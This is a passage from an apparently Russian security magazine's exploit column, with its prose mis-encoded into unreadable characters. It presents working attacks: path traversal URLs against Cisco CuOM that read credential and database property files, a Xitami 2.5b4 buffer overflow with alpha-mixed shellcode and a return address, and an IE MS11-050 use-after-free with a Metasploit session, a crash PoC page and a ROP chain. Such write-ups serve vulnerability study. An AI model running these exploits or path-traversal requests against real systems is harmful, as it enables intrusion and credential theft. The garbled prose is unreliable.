ÎÁÉÂÏÌÆÆ ÉÎÓÆÑÆÒÎÜÆ ÒÌÔØÁÉ, ÒÏÅÆÑÇÁÚÉÆ ÎÁÒÓÑÏÊËÉ ÂÁÈ ÅÁÎÎÜÖ É 
ÌÏÄÉ ÉÈÍÆÎÆÎÉà ÐÁÑÏÌÆÊ:

• http://target:1741/cwhp/auditLog.do?fi le=..\..\..\..\..\..\..
\boot.ini
• http://target:1741/cwhp/auditLog.do?fi le=..\..\..\..\..\..\..
\Program Files\CSCOpx\MDC\Tomcat\webapps\triveni\WEB-INF\
classes\schedule.properties
• http://target:1741/cwhp/auditLog.do?fi le=..\..\..\..\..\..\..
\Program Files\CSCOpx\lib\classpath\com\cisco\nm\cmf\
dbservice2\DBServer.properties
• http://target:1741/cwhp/auditLog.do?fi le=..\..\..\..\..\..\..
\Program Files\CSCOpx\log\dbpwdChange.log

 SOLUTION 
®ÔÇÎÏ ÏÂÎÏÃÉÓÝ CuOM ÅÏ ÃÆÑÒÉÉ 8.6 ÉÌÉ ÂÏÌÆÆ ÐÏÈÅÎÆÊ. ¬ÉÂÏ ÍÏÇÎÏ ÎÁ-
ËÁÓÉÓÝ ÐÁÓØÉ ÏÓ Cisco, ËÏÓÏÑÜÆ ÍÏÇÎÏ ÏÂÎÁÑÔÇÉÓÝ ÎÁ ÒÓÑÁÎÉ×ÁÖ, ÐÏÒÃà-
ÚÆÎÎÜÖ ÒÏÏÓÃÆÓÒÓÃÔßÚÉÍ ÂÁÄÁÍ: CSCtn61716, CSCto12704, CSCto12712 
É CSCto35577.

XITAMI WEB SERVER 2.5B4: УДАЛЕН-
НОЕ ПЕРЕПОЛНЕНИЕ БУФЕРА

 CVSSV2 
9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)

 BRIEF 
Xitami — web/ftp-ÒÆÑÃÆÑ, ÐÆÑÃÏÎÁØÁÌÝÎÏ ÒÏÈÅÁÃÁÆÍÜÊ Ò 1996 ÐÏ 
2000 ÄÏÅÜ ËÏÎÓÏÑÏÊ iMatrix, ËÁË ÂÆÒÐÌÁÓÎÜÊ ÐÑÏÅÔËÓ Ò ÏÓËÑÜÓÜÍÉ 
ÉÒÖÏÅÎÜÍÉ ËÏÅÁÍÉ. ±ÁÂÏÓÁÆÓ ÏÎ ËÁË ÏÅÉÎÏØÎÜÊ ÐÑÏ×ÆÒÒ É ÎÆ ÓÑÆ-
ÂÔÆÓ ÅÌà ÒÃÏÆÊ ÑÁÂÏÓÜ ÂÏÌÝÙÉÖ ÏÂÛÆÍÏÃ ÐÁÍàÓÉ. Xitami ÐÏ ÒËÏÑÏÒÓÉ 
ÑÁÂÏÓÜ ÎÆ ÅÏÓàÄÉÃÁÆÓ ÅÏ ÂÜÒÓÑÆÊÙÉÖ ÒÆÑÃÆÑÏÃ, ÎÏ ÐÏ ÈÁÃÆÑÆÎÉàÍ 
ÐÑÏÉÈÃÏÅÉÓÆÌà àÃÌàÆÓÒà ÖÏÑÏÙÏ ÑÁÒÙÉÑàÆÍÜÍ ÑÆÙÆÎÉÆÍ. ¢ÏÌÆÆ 
ÓÏÄÏ, ÏÎ ÐÏÅÅÆÑÇÉÃÁÆÓ ÎÆËÏÓÏÑÏÆ ËÏÌÉØÆÒÓÃÏ ÐÑÉËÌÁÅÎÜÖ ÐÑÏÓÏËÏ-
ÌÏÃ, Á ÓÁËÇÆ ÉÍÆÆÓ ÃÆÂ-ÉÎÓÆÑÕÆÊÒ, ØÆÑÆÈ ËÏÓÏÑÜÊ ÍÏÇÎÏ ËÏÎÕÉÄÔ-
ÑÉÑÏÃÁÓÝ web/ftp-ÒÆÑÃÆÑ.
«ÏÅ ÞËÒÐÌÏÉÓÁ ÍÏÇÎÏ ÎÁÊÓÉ ÎÁ ÐÏÐÔÌàÑÎÏÍ ÑÆÒÔÑÒÆ exploit-db.com 
Ã ÑÁÈÅÆÌÆ Remote Exploits. ¥Ìà ÁËÁÅÆÍÉØÆÒËÉÖ ×ÆÌÆÊ ÍÜ ÆÄÏ ÒÌÆÄËÁ 
ÍÏÅÉÕÉ×ÉÑÔÆÍ ÐÏÅ ÒÆÂà.

 EXPLOIT 
£ ÒÁÍÏÍ ËÏÅÆ ÒËÑÉÐÓÁ ÁÃÓÏÑÏÍ ÐÑÉÃÆÅÆÎÁ ËÑÁÓËÁà ÒÐÑÁÃËÁ ÐÏ ÆÄÏ ÉÒ-
ÐÏÌÝÈÏÃÁÎÉß. £ÜÄÌàÅÉÓ ÏÎÁ ÒÌÆÅÔßÚÉÍ ÏÂÑÁÈÏÍ:

#root@bt:~# cd Desktop/ 
#root@bt:~# ./Xitami2_5b4.pl 
# Enter your target's IP (e.g.: 192.168.0.123)
# > 192.168.178.37
# [*] Sending the evil header at: 192.168.178.37
# [*] OK, exploitation Done!
# [*] Check please for the shell

£ÍÆÒÓÏ ÐÏÌÆÈÎÏÊ ÎÁÄÑÔÈËÉ, ÑÁÈÍÆÚÆÎÎÏÊ Ã ÒËÑÉÐÓÆ ÁÃÓÏÑÏÍ, ÈÁÂÁ×ÁÆÍ 
ËÌÁÒÒÉØÆÒËÉÊ ËÁÌÝËÔÌàÓÏÑ. ²ËÁÈÁÎÏ — ÒÅÆÌÁÎÏ.

# msfpayload windows/exec cmd=calc.exe R | msfencode -e x86/
alpha_mixed -t perl
[*] x86/alpha_mixed succeeded with size 461 (iteration=1)
my $buf = 
"\x89\xe2\xd9\xea\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a" .
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
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"\x75\x4a\x49\x49\x6c\x58\x68\x4c\x49\x45\x50\x43\x30\x43" .
"\x30\x45\x30\x4b\x39\x4d\x35\x50\x31\x58\x52\x51\x74\x4c" .
"\x4b\x43\x62\x54\x70\x4c\x4b\x50\x52\x54\x4c\x4c\x4b\x52" .
"\x72\x45\x44\x4c\x4b\x51\x62\x45\x78\x56\x6f\x4c\x77\x50" .
"\x4a\x54\x66\x56\x51\x49\x6f\x54\x71\x4f\x30\x4c\x6c\x47" .
"\x4c\x51\x71\x51\x6c\x43\x32\x54\x6c\x51\x30\x4b\x71\x5a" .
"\x6f\x54\x4d\x43\x31\x5a\x67\x58\x62\x5a\x50\x52\x72\x50" .
"\x57\x4c\x4b\x56\x32\x54\x50\x4c\x4b\x50\x42\x45\x6c\x43" .
"\x31\x58\x50\x4c\x4b\x43\x70\x51\x68\x4f\x75\x4f\x30\x43" .
"\x44\x52\x6a\x45\x51\x5a\x70\x52\x70\x4c\x4b\x51\x58\x45" .
"\x48\x4e\x6b\x43\x68\x45\x70\x47\x71\x49\x43\x4d\x33\x45" .
"\x6c\x51\x59\x4c\x4b\x54\x74\x4e\x6b\x45\x51\x4b\x66\x54" .
"\x71\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x5a\x61\x58\x4f\x56" .
"\x6d\x47\x71\x5a\x67\x45\x68\x4b\x50\x54\x35\x4b\x44\x43" .
"\x33\x51\x6d\x4b\x48\x45\x6b\x43\x4d\x47\x54\x50\x75\x5a" .
"\x42\x43\x68\x4e\x6b\x50\x58\x47\x54\x45\x51\x5a\x73\x45" .
"\x36\x4c\x4b\x56\x6c\x52\x6b\x4e\x6b\x56\x38\x45\x4c\x56" .
"\x61\x49\x43\x4e\x6b\x47\x74\x4e\x6b\x43\x31\x5a\x70\x4c" .
"\x49\x50\x44\x47\x54\x56\x44\x51\x4b\x43\x6b\x43\x51\x51" .
"\x49\x50\x5a\x56\x31\x4b\x4f\x4d\x30\x51\x48\x51\x4f\x43" .
"\x6a\x4e\x6b\x47\x62\x5a\x4b\x4f\x76\x43\x6d\x50\x6a\x47" .
"\x71\x4c\x4d\x4e\x65\x58\x39\x43\x30\x43\x30\x45\x50\x52" .
"\x70\x51\x78\x50\x31\x4c\x4b\x52\x4f\x4f\x77\x4b\x4f\x49" .
"\x45\x4f\x4b\x4c\x30\x4c\x75\x4c\x62\x43\x66\x43\x58\x4c" .
"\x66\x4c\x55\x4d\x6d\x4f\x6d\x4b\x4f\x4e\x35\x47\x4c\x43" .
"\x36\x43\x4c\x54\x4a\x4b\x30\x4b\x4b\x4d\x30\x52\x55\x45" .
"\x55\x4f\x4b\x50\x47\x52\x33\x51\x62\x50\x6f\x52\x4a\x43" .
"\x30\x56\x33\x4b\x4f\x4b\x65\x45\x33\x50\x61\x52\x4c\x50" .
"\x63\x56\x4e\x43\x55\x50\x78\x52\x45\x47\x70\x41\x41";

£ÒÓÁÃÌàÆÍ ÅÁÎÎÏÆ ÅÏÂÑÏ Ã ÒËÑÉÐÓ Xitami2_5b4.pl, ÄÆÎÆÑÉÑÔßÚÉÊ 
ÑÁÂÏØÉÊ ÞËÒÐÌÏÉÓ, ÐÏÅÎÉÍÁÆÍ ÒÆÑÃÆÑ, ÈÁÐÔÒËÁÆÍ ÒËÑÉÐÓ, ÃÂÉÃÁÆÍ ip-
ÁÅÑÆÒ ÒÆÑÃÁËÁ É ÎÁÂÌßÅÁÆÍ ÃÏÈÎÉËÁßÚÉÊ ÉÈ ÎÉÏÓËÔÅÁ ËÔÌÝËÔÌàÓÏÑ. ®Ô 
Á ÓÆÐÆÑÝ ÎÆÍÎÏÄÏ ÐÏÅÑÏÂÎÆÊ. °ÆÑÆÈÁÐÉÒÝ ÒÓÆËÁ ÐÑÏÉÒÖÏÅÉÓ ÎÁ ÃÜÈÏÃÆ 
ÕÔÎË×ÉÉ _sscanf:

.text:0042A38D push eax

.text:0042A38E lea  edx, [esp+7Ch+var_58]

.text:0042A392 push ecx

.text:0042A393 push edx

.text:0042A394 push offset aDSDDDD  ; "%d %s %d %d:%d:%d"

.text:0042A399

.text:0042A399 loc_42A399: ; CODE XREF: sub_42A1F0+10B#j

.text:0042A399 push edi    ; Src

.text:0042A39A call _sscanf; <--- ȔȦȔȦȔ

.text:0042A39F mov  ecx, [esp+8Ch+var_5C]

.text:0042A3A3 add  esp, 20h

³ÁËÉÍ ÏÂÑÁÈÏÍ ÒÓÆË ÃÜÄÌàÅÉÓ ÐÏÒÌÆ ÐÆÑÆÈÁÐÉÒÉ (ÃÉÅÉÍ ÒÓÁÎÅÁÑÓÎÔß 
¡¡¡¡..., ÎÁØÉÎÁßÚÔßÒà Ò ÁÅÑÆÒÁ 0x00c8fee8):

00C8FEA4   00A27C57  W|Ƀ.  ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00C8FEA8   004922F4  Ȩ"I.  ASCII "%s %d %d:%d:%d %d"
00C8FEAC   00C8FEE8  ȜȲǨ.  ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

00C8FEB0   00C8FED8  ǸȲǨ.
00C8FEB4   00C8FEDC  ǼȲǨ.
00C8FEB8   00C8FEE0  ȔȲǨ.
00C8FEBC   00C8FEE4  ȘȲǨ.
00C8FEC0   00C8FED4  ǴȲǨ.
00C8FEC4   00A0F2A8  ȆȦ .
00C8FEC8   00A184DC  Ǽ"ȏ.
00C8FECC   00000001  #...
00C8FED0   00000000  ....
00C8FED4   00000000  ....
00C8FED8   00000000  ....
00C8FEDC   00000000  ....
00C8FEE0   00000000  ....
00C8FEE4   00000000  ....
00C8FEE8   41414141  AAAA
00C8FEEC   41414141  AAAA
00C8FEF0   41414141  AAAA
00C8FEF4   41414141  AAAA

²ÑÁÈÔ ÇÆ ÐÏÒÌÆ ÃÒÆÖ ÞÓÉÖ AAAAA... ÂÔÅÆÓ ÑÁÒÐÏÌÁÄÁÓÝÒà ÁÅÑÆÒ ÃÏÈ-
ÃÑÁÓÁ, ËÏÓÏÑÜÍ ÍÜ ÐÆÑÆÐÉÒÁÌÉ ÐÆÑÃÏÎÁØÁÌÝÎÜÊ ÁÅÑÆÒ ÃÏÈÃÑÁÓÁ. ³ÁË 
ËÁË Ã ÅÁÎÎÏÍ ÃÁÑÉÁÎÓÆ ÞËÒÐÌÏÉÓÁ ÎÆ ÒÓÁÃÉÓÒà ×ÆÌÝß ÏÂÖÏÅ DEP’Á, ÓÏ 
É ÔÐÑÁÃÌÆÎÉÆ Ã ÅÁÌÝÎÆÊÙÆÍ ÎÁÍ ÎÁÅÏ ÂÔÅÆÓ ÐÆÑÆÅÁÃÁÓÝ ÎÁ ÒÓÆË. °Ï-
ÒÆÍÔ ÎÆÏÂÖÏÅÉÍÏ ÉÒËÁÓÝ ØÓÏ-ÓÏ ÎÁÐÏÅÏÂÉÆ push esp — ret.
²ÑÁÈÔ ËÑÁÓËÏÆ ÈÁÍÆØÁÎÉÆ ÐÏ ÐÏÃÏÅÔ ËÏÅÁ ÞËÒÐÌÏÉÓÁ. ®ÆÏÂÖÏÅÉÍÏ 
ÃÎÉÍÁÓÆÌÝÎÆÊ ÒÍÏÓÑÆÓÝ ÎÁ ÁÅÑÆÒ, ËÏÓÏÑÜÍ ÂÔÅÆÓ ÐÆÑÆÓÉÑÁÓÝÒà ÏÑÉÄÉ-
ÎÁÌÝÎÜÊ, ÐÏÒËÏÌÝËÔ ÃÒÆ ÞÓÏ ÖÁÑÅËÏÅ. ®Á ÍÏÆÊ ÒÉÒÓÆÍÆ ÁÅÑÆÒ push esp 
— ret ÎÆÍÎÏÄÏ ÏÓÌÉØÁÌÒà ÏÓ ÁÃÓÏÑÒËÏÄÏ:

$RET = "\x53\x2b\xab\x71";  
# ws2_32.dll push ESP — ret — (Windows XP SP3 — [En]).

®Á ÍÏÆÊ ÒÉÒÓÆÍÆ:

$RET = "\x53\x2b\xa9\x71";

°ÏÒÍÏÓÑÆÓÝ ÅÁÎÎÜÆ ÁÅÑÆÒÁ ÍÏÇÎÏ ÌÉÂÏ ÐÑÏÒÓÜÍ ÐÏÉÒËÏÍ ÐÏ ÏÐËÏÅÁÍ 
0x54,0xc3 (push esp — retn), ÌÉÂÏ ÐÑÉ ÐÏÍÏÚÉ ÐÌÁÄÉÎÁ Ë ImmDbg ÐÏÅ 
ÎÁÈÃÁÎÉÆÍ pvefindaddr. «ÁËÉÍ ÏÂÑÁÈÏÍ ÉÒÐÏÌÝÈÏÃÁÓÝ pvefindaddr, ÍÏÇÎÏ 
ÔÈÎÁÓÝ ÐÑÉ ÐÏÍÏÚÉ ËÏÍÁÎÅÜ !usage pvefindaddr Ò ÅÁÌÝÎÆÊÙÉÍ ÒÏÈÆÑ×Á-
ÎÉÆÍ ÑÆÈÔÌÝÓÁÓÏÃ ÉÒÐÏÌÎÆÎÉà ÃÜÙÆÐÑÉÃÆÅÆÎÎÏÊ ËÏÍÁÎÅÜ Ã ÏËÎÆ ÌÏÄÏÃ 
ImmDbg.
°ÏÒÌÆ ÓÏÄÏ ËÁË ÍÜ ÅÏÊÅÆÍ ÅÏ ÐÏÒÌÆÅÎÆÄÏ ret’Á, ÎÁ ÃÆÑÙÉÎÆ ÒÓÆËÁ ÂÔÅÆÓ 
ÌÆÇÁÓÝ ÁÅÑÆÒ 0x71a92b53. ©ÒÐÏÌÎàÆÓÒà retn, ÅÁÌÆÆ ÃÜÐÏÌÎàßÓÒà ËÏ-
ÍÁÎÅÜ push esp — retn, ÍÜ ÐÑÜÄÁÆÍ ÎÁ nop-×ÆÐÏØËÔ, ÐÏ ËÏÓÏÑÏÊ Ã ËÏÎ×Æ 
ËÏÎ×ÏÃ ÅÏÂÉÑÁÆÍÒà ÅÏ ÐÏÌÆÈÎÏÊ ÎÁÄÑÔÈËÉ.
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ВЗЛОМ

 046

 TARGETS 
Xitami 2.5b4

 SOLUTION 
¯ÂÎÏÃÉÓÝÒà ÅÏ ÂÏÌÆÆ ÒÃÆÇÆÊ ÃÆÑÒÉÉ

MS11-050 IE 
MSHTML!COBJECTELEMENT USE 
AFTER FREE

 CVSSV2 
9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)

 BRIEF 
¯ØÆÑÆÅÎÁà ÔàÈÃÉÍÏÒÓÝ Ã Internet Explorer 7-8. ¾ËÒÐÌÏÉÓ ÂÜÌ 
ÏÕÏÑÍÌÆÎ ÁÃÓÏÑÏÍ Ã ÃÉÅÆ ÍÏÅÔÌà ÅÌà Metasploit. ¥ÁÎÎÜÊ ÍÏÅÔÌÝ 
ÞËÒÐÌÔÁÓÉÑÔÆÓ ÔàÈÃÉÍÏÒÓÝ ÓÉÐÁ use-after-free, ÅÏÒÓÉÄÁÆÍÔß Ã 
ÓÏÍ ÒÌÔØÁÆ, ËÏÄÅÁ ÈÁÅÁÎ ÎÆÃÆÑÎÜÊ ÓÞÄ <object> É ÅÑÔÄÉÆ ÞÌÆÍÆÎÓÜ 
ÐÆÑÆËÑÜÃÁßÓ ÒÏÂÏÊ ÎÁ ÞËÑÁÎÆ ÓÏ ÍÆÒÓÏ, ÄÅÆ ÓÞÄ ÏÂÛÆËÓÁ ÅÏÌÇÆÎ 
ÂÜÌ ÂÜ ÏËÁÈÁÓÝÒà ÐÏÒÌÆ ÄÆÎÆÑÁ×ÉÉ. £ ÑÆÈÔÌÝÓÁÓÆ ÎÆÃÁÌÉÅÎÏÒÓÉ 
ÞÌÆÍÆÎÓÁ Mshtml!CObjectElement, ÐÑÏÉÒÖÏÅÉÓ ÆÄÏ ÏÒÃÏÂÏÇÅÆÎÉÆ 
Ã ÐÁÍàÓÉ. ̄ ÅÎÁËÏ, ÏÂÛÆËÓ mshtml!CDisplay ÅÌà ÒÓÑÁÎÉ×Ü ÐÑÏ-
ÅÏÌÇÁÆÓ ÖÑÁÎÉÓÝ ÒÒÜÌËÔ ÎÁ ÏÒÃÏÂÏÇÅÆÎÎÜÊ <object> É ÐÜÓÁÆÓÒà 
ÃÜÈÜÃÁÓÝ ÕÔÎË×ÉÉ, Ã ÁÑÄÔÍÆÎÓÁÖ Ë ËÏÓÏÑÜÍ ÂÔÅÆÓ ÔËÁÈÁÎ ÅÁÎÎÜÊ 
ÏÒÃÏÂÏÇÅÆÎÎÜÊ ÞÌÆÍÆÎÓ, ØÓÏ, ÒÏÂÒÓÃÆÎÎÏ, É ÐÑÉÃÏÅÉÓ Ë ÔàÈÃÉÍÏ-
ÒÓÉ ÓÉÐÁ use-after-free.

 EXPLOIT 
²ÐÑÁÃËÔ ÐÏ ÉÒÐÏÌÝÈÏÃÁÎÉß ÞËÒÐÌÏÉÓÁ ÍÏÇÎÏ ÐÏÌÔØÉÓÝ ÐÑÉ ÐÏ-
ÍÏÚÉ ÒÓÁÎÅÁÑÓÎÏÊ ËÏÍÁÎÅÜ Metasploit «show options». £ÏÓ ÐÑÉÍÆÑ 
ÉÒÐÏÌÝÈÏÃÁÎÉà ÞÓÏÄÏ ÒÐÌÏÉÓÁ: 

msf > 
use exploit/windows/browser/ms11_050_mshtml_cobjectelement 
msf exploit(…) > set SRVHOST 192.168.0.63
SRVHOST => 192.168.0.63
msf exploit(…) > set PAYLOAD windows/exec 
PAYLOAD => windows/exec
msf exploit(…) > set CMD calc.exe
CMD => calc.exe
msf exploit(…) > exploit
[*] Exploit running as background job.

[*] Using URL: http://192.168.0.63:8080/b6t3wEBKj

[*] Server started.
msf exploit(ms11_050_mshtml_cobjectelement) >

°ÑÏÖÏÅÉÍ ÐÏ ÒÒÜÌËÆ ÎÁ ËÌÉÆÎÓÆ (http://192.168.0.63:8080/
b6t3wEBKj) É ÃÉÅÉÍ ÃÏÈÎÉËÁßÚÉÊ ËÁÌÝËÔÌàÓÏÑ. ¦ÒÌÉ ÈÁËÏÍÍÆÎÓÉ-
ÑÏÃÁÓÝ ÏÅÉÎ ÉÈ ÓÆÄÏÃ Ã ÓÆÒÓÆ (ÅÁÂÜ ÔÂÆÑÆØÝ IE ÏÓ ÐÁÅÆÎÉà), Á ÈÁÓÆÍ 

ÈÁÊÓÉ Ã Deveper Tools É ÐÏÒÍÏÓÑÆÓÝ ÎÁ ÓÆËÔÚÆÆ ÒÏÒÓÏàÎÉÆ DOM, 
ÞÌÆÍÆÎÓ <object> ÐÏËÁÈÜÃÁÓÝÒà ÎÆ ÂÔÅÆÓ, ÒËÏÑÆÆ ÃÒÆÄÏ, ÐÏÓÏÍÔ, ØÓÏ 
ÎÆ ÂÜÌ ÔËÁÈÁÎ ÓÉÐ ÏÂÛÆËÓÁ, ËÏÓÏÑÜÊ Ô ÎÆÄÏ ÅÏÌÇÆÎ ÂÜÓÝ:

<html>
<body>
<script language='javascript'>
document.body.innerHTML += "<object align='right' 
hspace='1000'   width='1000'>TAG_1</object>";
// document.body.innerHTML += "<a id='tag_3' style='b
ottom:200cm;fl oat:left;padding-left:-1000px; border-
width:2000px;text-indent:-1000px' >TAG_3</a>";
document.body.innerHTML += "AAAAAAA";
document.body.innerHTML += "<strong style=
'font-size:1000pc;margin:auto -1000cm auto auto;' 
dir='ltr'>TAG_11</strong>";
</script>
</body>
</html>

¨ÎÁà ÞÓÏ, ÃÒËÉÎÆÍ ÒÃÏÊ ÃÈÏÑ ÎÁ ÒÓÆË ÃÜÈÏÃÏÃ, ÐÏÌÔØÆÎÎÜÊ ÐÏÒÌÆ 
ÐÁÅÆÎÉà, ÞÓÏ ÅÏÌÇÎÏ ÐÏàÒÎÉÓÝ ÎÁÍ ÒÔÓÝ ÏÒÓÁÌÝÎÏÄÏ:

0:008> k
ChildEBP RetAddr  
020be350 63602718 mshtml!CElement::Doc+0x2
020be36c 636026a3 mshtml!CTreeNode::ComputeFormats+0xb9
020be618 63612a85 mshtml!CTreeNode::ComputeFormatsHelper+0x44
020be628 63612a45 mshtml!CTreeNode::GetFancyFormatIndexHelper

+0x11
020be638 63612a2c mshtml!CTreeNode::GetFancyFormatHelper+0xf
020be64c 637d29ab mshtml!CTreeNode::GetFancyFormat+0x35
020be654 637d2906 mshtml!CLineCore::AO_GetFancyFormat+0x23
020be688 63675c93 mshtml!CRecalcLinePtr::RecalcMargins+0x19d
020bee80 6369985f mshtml!CDisplay::RecalcLines+0x6e4
020bef5c 6361c037 mshtml!CDisplay::WaitForRecalc+0x208
020befac 636514de mshtml!CFlowLayout::Notify+0x7d7
020befb8 636017f2 mshtml!NotifyElement+0x41
020bf00c 6365134f mshtml!CMarkup::SendNotifi cation+0x60
020bf034 63666bc1 mshtml!CMarkup::Notify+0xd4
020bf07c 6361bf07 mshtml!CElement::SendNotifi cation+0x4a
020bf0a0 635d82b7 mshtml!CElement::EnsureRecalcNotify+0x15f
020bf11c 635cc225 mshtml!CDisplayPointer::MoveUnit+0x2b2
020bf208 635cc092 mshtml!CHTMLEditor::AdjustPointer+0x16f
020bf23c 635cd2af mshtml!CEditTracker::AdjustPointerForInsert

+0x8b
020bf298 635cd123 mshtml!CCaretTracker::PositionCaretAt+0x141

¯ÒÎÏÃÎÜÍ ÍÏÍÆÎÓÏÍ, ËÏÓÏÑÜÊ ÐÑÉÃÏÅÉÓ Ë ÐÁÅÆÎÉß, àÃÌàÆÓÒà ÓÏ, 
ØÓÏ ÞÌÆÍÆÎÓ <object> ÂÜÌ ÐÆÑÃÏÎÁØÁÌÝÎÏ ÅÏÂÁÃÌÆÎ Ã ÎÆËÉÊ ÒÐÉÒÏË 
ÞÌÆÍÆÎÓÏÃ, ØÓÏÂÜ ÂÜÓÝ ÏÓÏÂÑÁÇÆÎÎÜÍ. ̈ ÁÓÆÍ ÞÌÆÍÆÎÓ object ÂÜÌ 
ÔÅÁÌÆÎ, ÐÏÒËÏÌÝËÔ ÒÓÁÌ ÎÆÃÁÌÉÅÎÜÍ, É ÒÓÁÌÏ ÎÆØÆÄÏ ÏÓÏÂÑÁÇÁÓÝ. 
®Ï ÏÎ ÎÆ ÂÜÌ ÔÅÁÌÆÎ ÉÈ ÃÜÙÆÏÂÏÈÎÁØÆÎÎÏÄÏ ÒÐÉÒËÁ. ¥ÁÌÆÆ ÅÏÌÇÎÏ 
ÐÑÏÉÈÏÊÓÉ ÎÆØÓÏ, Ã ÑÆÈÔÌÝÓÁÓÆ ØÆÄÏ IE ÐÏÐÜÓÁÆÓÒà ÃÜÈÃÁÓÝ ÍÆÓÏÅ 
ÎÁ ÏÒÃÏÂÏÇÅÆÎÎÏÍ ÏÂÛÆËÓÆ, ØÓÏ É ÐÑÉÃÆÅÆÓ Ë use-after-free.
³Ï ÆÒÓÝ ÐÏ ÒÔÓÉ, ÎÁÍ ÎÆÏÂÖÏÅÉÍÏ ÉÎÉ×ÉÉÑÏÃÁÓÝ ÏÒÃÏÂÏÇÅÆÎÉÆ ÞÌÆ-
ÍÆÎÓÁ <object>, ÐÏÌÔØÉÓÝ ÔËÁÈÁÓÆÌÝ ÎÁ ÅÁÎÎÜÆ, ËÏÓÏÑÜÆ ÍÜ ËÏÎÓÑÏ-
ÌÉÑÔÆÍ ÅÌà ÓÏÄÏ, ØÓÏÂÜ ÐÆÑÆÈÁÐÉÒÁÓÝ ÉÍÉ ÏÒÃÏÂÏÇÅÆÎÎÜÊ ÏÂÛÆËÓ, Á 
ÈÁÓÆÍ ÒÅÆÌÁÓÝ ÓÏ, ØÓÏ ÍÏÇÆÓ ÐÑÉÃÆÒÓÉ Ë ÃÜÈÏÃÔ ÕÔÎË×ÉÊ Ò ÞÌÆÍÆÎÓÏÍ 
object Ã ËÁØÆÒÓÃÆ ÏÅÎÏÄÏ ÉÈ ÁÑÄÔÍÆÎÓÏÃ. 
¾ËÒÐÌÏÉÓ ÅÌà IE7 É IE8 Ò ÏÓËÌßØÆÎÎÜÍ DEP ÐÆÑÆÈÁÐÉÒÜÃÁÆÓ 
CObjectElement ÈÎÁØÆÎÉàÍÉ 0c0c0c0c:

mshtml!CElement::Doc:
3cf76b80 8b01 mov  eax,dword ptr [ecx]  
   ; ds:0023:147f00a7=0c0c0c0c
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3cf76b82 8b5070 mov  edx,dword ptr [eax+70h] 
   ; ds:0023:0c0c0c7c=0c0c0c0c
3cf76b85 ffd2 call edx 
   ; {<Unloaded_sspc.dll>+0xc0c0c0b (0c0c0c0c)}
   ; <-- (ȜȥȣȢȟȡșȡȜș ȪșȣȢȫȞȜ nops + shellcode)
3cf76b87 8b400c mov  eax,dword ptr [eax+0Ch]
3cf76b8a c3 ret

¾ËÒÐÌÏÉÓ ÅÌà IE8 Ò ÃËÌßØÆÎÎÜÍ DEP ÓÑÆÂÔÆÓ ÐÑÉÍÆÎÆÎÉà ÓÆÖÎÉËÉ 
ROP-ÐÑÏÄÑÁÍÍÉÑÏÃÁÎÉà: 
1. CObjectElement ÐÆÑÆÈÁÐÉÒÜÃÁÆÓÒà ÈÎÁØÆÎÉàÍÉ 0c0c0c0c;
2. ©ÒÐÏÌÝÈÔà heap-spray, ÐÏÍÆÚÁÆÍ ROP-ÐÏÒÌÆÅÏÃÁÓÆÌÝÎÏÒÓÝ ÐÏ 
ÁÅÑÆÒÔ 0c0c0c0c;
3. °Ï ÁÅÑÆÒÔ 0x23000000 ÑÁÈÍÆÚÁÆÓÒà ×ÆÐÏØËÁ nops+shellcode.
«ÁË ÓÏÌÝËÏ ÃÒÆ ÂÔÅÆÓ ÃÜÐÏÌÎÆÎÏ, ROP-ÐÏÒÌÆÅÏÃÁÓÆÌÝÎÏÒÓÝ ÐÑÉÍÆÓ 
ÒÌÆÅÔßÚÉÊ ÃÉÅ:

0c0c0c0c 7c809af1 ; 1:kernel32!VirtualAlloc (ȣșȤȖȯȝ ȖȢțȖȤȔȦ)
0c0c0c10 7c901db3 ; 2:ntdll!memcpy (ȖȦȢȤȢȝ ȖȢțȖȤȔȦ)
0c0c0c14 7f000000 ; 1:VirtualAlloc:lpAddress
0c0c0c18 00004000 ; 1:VirtualAlloc:dwSize
0c0c0c1c 00003000 ; 1:VirtualAlloc:fl AllocationType MEM_
COMMIT | MEM_RESERVE
0c0c0c20 00000040 ; 1:VirtualAlloc:fl Protect rwx
0c0c0c24 7f001000 ; 3:nops+shellcode (ȦȤșȦȜȝ ȖȢțȖȤȔȦ)
0c0c0c28 7f001000 ; 2:memcpy:dst
0c0c0c2c 23000100 ; 2:memcpy:src
0c0c0c30 00002fff ; 2:memcpy:size
0c0c0c34 be9e2688 ; ȠȧȥȢȤ
...
0c0c0c74 de2f62e1 ; ȠȧȥȢȤ
0c0c0c78 a19314eb ; ȠȧȥȢȤ
0c0c0c7c 773e3f18 ; comctl32!CImageList::_IsSameObject+0x40
 ; ȧȞȔțȔȦșȟȰ ȥȦșȞȔ
0c0c0c80 3825a2d7 ; ȠȧȥȢȤ
0c0c0c84 88f8a84d ; ȠȧȥȢȤ
0c0c0c88 0566b421 ; ȠȧȥȢȤ

ÏÍÆÎÓ ÃÜÈÏÃÁ mshtml!CElement::Doc ÐÏÒÌÆ ÅÁÎÎÏÄÏ ÒÏÂÜÓÉà:

mshtml!CElement::Doc:
3cf76b80 8b01 mov  eax,dword ptr [ecx]  
  ; ds:0023:35a00002=0c0c0c0c
3cf76b82 8b5070  mov  edx,dword ptr [eax+70h] 
  ; ds:0023:0c0c0c7c=773e3f18
3cf76b85 ffd2    call edx ; ȧȞȔțȔȦșȟȰ ȥȦșȞȔ
  ; {comctl32!CImageList::_IsSameObject+0x40 (773e3f18)} 

°ÆÑÃÁà ØÁÒÓÝ ROP-ÐÏÒÌÆÅÏÃÁÓÆÌÝÎÏÒÓÉ ÐÑÆÅÒÓÁÃÌàÆÓ ÉÈ ÒÆÂà 
ÔËÁÈÁÓÆÌÝ ÎÁ ËÏÅ, ÐÑÏÉÈÃÏÅàÚÉÊ ÏÂÍÆÎ esp Ò eax (0c0c0c0c):

